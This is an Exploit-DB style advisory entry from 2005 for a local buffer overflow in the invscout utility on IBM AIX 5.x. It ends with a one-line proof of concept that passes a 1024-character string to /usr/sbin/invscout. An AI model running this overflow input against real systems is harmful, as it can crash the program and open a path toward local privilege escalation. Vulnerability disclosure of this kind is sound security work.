IBM AIX 5.x - 'Invscout' Local Buffer Overflow

EDB-ID:

25807

CVE:

N/A




Platform:

AIX

Date:

2005-06-09


source: https://www.securityfocus.com/bid/13909/info

invscout is prone to a local buffer overflow vulnerability. This issue presents itself because the application fails to carry out boundary checks on user-supplied data from the command line. 

/usr/sbin/invscout `perl -e 'print "A" x 1024;'`